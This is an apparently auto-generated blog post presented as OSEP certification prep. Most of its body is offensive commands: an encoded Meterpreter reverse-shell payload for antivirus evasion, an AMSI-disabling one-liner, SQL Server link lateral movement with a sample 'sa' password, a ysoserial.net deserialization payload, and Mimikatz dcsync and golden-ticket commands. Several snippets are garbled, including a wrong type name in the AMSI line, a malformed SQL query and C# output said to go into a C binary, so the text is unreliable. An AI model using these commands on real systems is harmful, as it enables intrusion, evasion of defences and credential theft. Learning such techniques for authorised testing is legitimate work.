Mastering OSEP: A Deep Dive into Offensive Security’s Advanced Penetration Testing Certification

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Introduction

The Offensive Security Experienced Penetration Tester (OSEP) certification is a prestigious credential for cybersecurity professionals seeking to validate their advanced offensive security skills. Benjamin Tan’s recent achievement highlights the rigor of the PEN-300 course and exam, emphasizing hands-on exploitation, evasion techniques, and real-world attack simulations. This article explores key OSEP concepts, tools, and commands to help aspiring penetration testers prepare for this challenging certification.

Learning Objectives

  • Understand the core components of the OSEP certification and PEN-300 course.
  • Learn essential evasion techniques and advanced exploitation methods.
  • Master key commands and tools used in real-world penetration testing scenarios.

You Should Know

1. Bypassing Antivirus with Shellcode Obfuscation

Command:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f csharp -e x86/shikata_ga_nai -i 5

Step-by-Step Guide:

  1. Generate Payload: Use `msfvenom` to create a Meterpreter reverse shell payload.
  2. Encode with Shikata Ga Nai: Apply multiple iterations (-i 5) to evade signature-based detection.
  3. Compile: Embed the obfuscated shellcode into a C binary for execution.
    1. Leveraging SQL Server Links for Lateral Movement

Command (PowerShell):

Invoke-SQLOSCmd -Username sa -Password "P@ssw0rd" -Instance "SQLSERVER01" -Command "whoami" -LinkedSQL "SQLSERVER02"

Step-by-Step Guide:

  1. Identify Linked Servers: Use `SELECT FROM sys.servers` in SQL queries.
  2. Execute Commands: Abuse `xp_cmdshell` or custom PowerShell scripts to move laterally.
  3. Maintain Persistence: Create scheduled tasks or service installations on linked systems.

3. Custom AMSI Bypass for PowerShell Attacks

Code Snippet (PowerShell):

[bash].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Step-by-Step Guide:

  1. Disable AMSI: Patch the `amsiInitFailed` flag to prevent script scanning.
  2. Execute Malicious Payloads: Run Mimikatz or other post-exploitation tools undetected.
  3. Automate with Cradle: Use string obfuscation to evade heuristic analysis.

4. Exploiting .NET Serialization for RCE

Command (YSoSerial.NET):

ysoserial.exe -f BinaryFormatter -g ClaimsIdentity -o base64 -c "calc.exe"

Step-by-Step Guide:

1. Generate Payload: Craft a malicious serialized object.

  1. Inject via Web Apps: Target .NET deserialization vulnerabilities in web endpoints.
  2. Escalate Privileges: Leverage insecure deserialization for SYSTEM-level execution.

5. Abusing Kerberos for Golden Ticket Attacks

Command (Mimikatz):

kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-123456789 /krbtgt:hash /ptt

Step-by-Step Guide:

  1. Extract KRBTGT Hash: Dump DC credentials using lsadump::dcsync.
  2. Forge Tickets: Generate a Golden Ticket for persistent domain admin access.
  3. Pass-the-Ticket: Inject into memory with `ptt` for lateral movement.

What Undercode Say

  • Key Takeaway 1: OSEP emphasizes real-world evasion, requiring deep knowledge of AV bypasses and lateral movement.
  • Key Takeaway 2: Hands-on practice with tools like Mimikatz, YSoSerial, and custom shellcode is critical for exam success.

Analysis:

Benjamin Tan’s success underscores the importance of persistence and adaptability in offensive security. The OSEP exam challenges testers to think beyond basic exploits, focusing on stealth and advanced post-exploitation. As enterprises strengthen defenses, certifications like OSEP ensure professionals stay ahead of evolving threats.

Prediction

With rising demand for skilled penetration testers, OSEP-certified professionals will dominate red teaming and adversarial simulation roles. Future exams may incorporate cloud-based attacks (AWS/Azure) and AI-driven detection evasion, further raising the bar for offensive security expertise.

Ready to tackle OSEP? Follow Benjamin Tan’s GitHub for notes and stay tuned for his full certification review! 🚀

IT/Security Reporter URL:

Reported By: Benjamin Tan – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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